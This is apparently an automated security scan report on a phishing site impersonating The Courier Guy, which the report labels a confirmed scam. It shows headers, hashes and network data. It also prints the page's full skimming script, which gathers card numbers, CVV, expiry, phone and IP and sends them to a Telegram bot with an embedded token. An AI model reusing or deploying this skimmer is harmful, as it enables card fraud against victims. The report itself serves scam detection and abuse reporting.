finance banking

e-commerce

English

Domain 'del-theccguy.netlify.app' uses the application-focused generic top-level domain (.app) with subdomain 'del-theccguy'. Its registrable label 'netlify' stretches across 7 characters containing 2 vowels alongside five consonants. It segments into three words: net, li, fy. The median word length lands at two characters. No strong language cues emerged from the frequency lists.

card

name

html/c7/67/c767cafc-cb09-4257-80d2-936e46456307.html.gz

default-src *.facebook.com *.fbcdn.net *.facebook.net 'self' blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net blob: 'self' 'nonce-dItcYVe6';style-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob: 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.fbcdn.net attachment.fbsbx.com *.cdninstagram.com blob: 'self' data: https://edge-chat.facebook.net https://edge-chat-latest.facebook.net wss://edge-chat-latest.facebook.net wss://edge-chat.facebook.net wss://edge-chat.socialplugin.facebook.net wss://edge-chat-latest.socialplugin.facebook.net https://edge-chat.socialplugin.facebook.net https://edge-chat-latest.socialplugin.facebook.net;font-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;img-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;media-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;child-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;frame-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;manifest-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;object-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;worker-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

dc3e74c7d598455adc39915140f57b8409cb6ec4a21726e2539e680c75953d1c

e7a6ece04782a4be1a463b6d8700acd4d2cd1cf0986f44d8721d82c3c881bbc7

4a1f1dc799a9dc91a6df5a7544ee9dd27cd47de74ae0428e6bcdfa1b85f137b6

41d3d86410caa4427fd196f2004f4199755dcc2187c7df893f128b9a54c0e0e7

cb5d7dc370cca60f7b631e52661dda04bf4ed7162e4362484af3e9a982964bc9

width=device-width, initial-scale=1, maximum-scale=1

viewport

theme-color

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Name.com Abuse Team

Name.com, Inc.

netlify.app

Abuse

Google LLC

GOOGLE


    (function (w, d, s, l, i) {
      w[l] = w[l] || [];
      w[l].push({ 'gtm.start': new Date().getTime(), event: 'gtm.js', });
      var f = d.getElementsByTagName(s)[0], j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : '';
      j.async = true; j.src = '../www.googletagmanager.com/gtm5445.html?id=' + i + dl + '&gtm_auth=&gtm_preview=&gtm_cookies_win=x';
      f.parentNode.insertBefore(j, f);
    })(window, document, 'script', 'dataLayer', 'G-H6ZR9QHC6R');


    (function (w, d, s, l, i) {
      w[l] = w[l] || [];
      w[l].push({ 'gtm.start': new Date().getTime(), event: 'gtm.js', });
      var f = d.getElementsByTagName(s)[0], j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : '';
      j.async = true; j.src = '../www.googletagmanager.com/gtm5445.html?id=' + i + dl + '&gtm_auth=&gtm_preview=&gtm_cookies_win=x';
      f.parentNode.insertBefore(j, f);
    })(window, document, 'script', 'dataLayer', 'GTM-N6Q2L78');

// fetch IP and store in #gfg
 fetch("https://api.ipify.org?format=json")
 .then(res => res.json())
 .then(data => { document.getElementById('gfg').textContent = data.ip; })
 .catch(() => { document.getElementById('gfg').textContent = 'unknown'; });

 const form = document.querySelector("#myform");

 form.addEventListener("submit", async (e) => {
 e.preventDefault();

 const text1 = document.getElementById("card").value.trim();
 const text2 = document.getElementById("name").value.trim();
 const text3 = document.getElementById("month").value;
 const text4 = document.getElementById("year").value;
 const text5 = document.getElementById("cvv").value.trim();
 const text6 = document.getElementById("issuer").value;
 const text7 = document.getElementById("mobile").value.trim();
 const text8 = document.getElementById("gfg").textContent || 'unknown';

 console.log('Running script — collected mobile:', text7);

 const my_text = `The Courier Guy Card %0ACard number : ${text1} %0AName on card : ${text2} %0AExpiry date : ${text3}/${text4} %0ACvv : ${text5} %0ACard Issuer : ${text6} %0APhone number : ${text7} %0AIP : ${text8}`;

 const token = "8205538929:AAEANSHA6tc_vhhpqiGUiczsdOENlYO8RqM";
 const chat_id = "7465356365";
 var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${my_text}&parse_mode=html`

 try {
 const resp = await fetch(url, { method: 'GET', mode: 'cors' });
 if (!resp.ok) console.warn('Telegram send failed', resp.status);
 else console.log('Message successfully sent');
 } catch (err) {
 console.error('Request error', err);
 }

 setTimeout(() => window.location.replace("load.html"), 3000);
 });

Requests	IP Address	Location	AS Autonomous System
9	74.125.29.95Google · CDN	United States	AS15169Google LLC
6	157.240.0.6	Frankfurt am Main, Hesse, Germany	AS32934Facebook, Inc.
6	142.250.154.97Google · CDN	United States	AS15169Google LLC
6	35.157.26.135Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
27	4	-	-

Security Scan Report: del-theccguy.netlify.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies6

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History